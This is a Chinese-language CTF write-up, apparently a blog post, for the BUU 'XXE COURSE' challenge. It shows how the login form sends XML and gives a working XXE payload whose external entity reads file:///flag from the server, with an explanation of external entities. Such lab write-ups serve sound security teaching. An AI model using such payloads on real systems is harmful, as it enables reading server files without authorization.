BUU XXE COURSE

BUU XXE COURSE

我们发现输入得用户名以 弹窗(alert) 的形式输出
在这里插入图片描述

同时 F12 进行前端查看 发现 在提交按钮处有

<button id="go" onclick="XMLFunction()">GO!</button>

说明我们的 数据传输方式为 xml
当然,我们也可以直接 在burp suite 进行抓包查看
在这里插入图片描述

我们看到了 xml 文档声明:

<?xml version="1.0" encoding="UTF-8"?>

所以,可能存在 xxe 漏洞

我们构造payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY admin SYSTEM "file:///flag">
]>
<root>
<username>&admin;</username>
<password>2333</password>
</root>

实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。
因此,在这里我们利用 这一特性 我们在向服务器上传的文档中 使用外部实体 (通过引用定义在外部的 DTD 中的实体,我们称之为外部实体) 来访问我们 的 flag
有人可能会问 flag 也不会是 dtd 文件啊
我们在使用外部实体访问的时候,会对我们访问的文件进行检查是否为 dtd 文件,此时如果没有检测的话,就可以引用非dtd文件
造成漏洞,这就是xxe

所以到了这个时候,我们也就能够明白我们上面构造的payload的含义了:

<username>&admin;</username>    <!--使用admin实体-->
<!DOCTYPE root[
<!ENTITY admin SYSTEM "file:///flag">
]>                        <!--声明admin实体-->

在这里 usename 和 password 都存在 xxe 漏洞,所以两者之间 都可以进行 xxe 注入

点击 go 发现 flag

在这里插入图片描述

当然在这里我们也可以 使用 postman (本质是一样的,都是传递参数 将我们的payload传递到后台 php)

我们查看源代码,发现是 post 传参

<script type="text/javascript">
        function XMLFunction(){
            var xml = '' +
                '<?xml version="1.0" encoding="UTF-8"?>' +
            '<root>' +
            ' <username>' + $('#username').val() + '</username>' +
            ' <password>' + $('#password').val() + '</password>' +
            ' </root>'; <!--转化数据格式   串行格式化数据-->
            var xmlhttp = new XMLHttpRequest();   <!--实例化XMLHttpRequest 对象-->
            xmlhttp.onreadystatechange = function () { <!--页面初始化-->
                if(xmlhttp.readyState == 4){ <!--实时跟踪异步响应状态,监听函数 readyState4 数据接收完毕  此时可以获取完整的响应数据-->
                    console.log(xmlhttp.readyState);
                    console.log(xmlhttp.responseText);  <!--接受数据-->
                    alert(xmlhttp.responseText);<!--弹窗 接受数据-->

                }
            }  
            xmlhttp.open("POST","login.php",true); <!---建立 post请求,要求异步响应   xhr.open("POST", url, false)-->
            xmlhttp.send(xml);  <!--发送请求-->
        };
    </script>

上面有两点值得我们注意:

  1. 是 post 传参
  2. 接受地址是 login.php

现在我们使用 postman 了

在这里插入图片描述

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值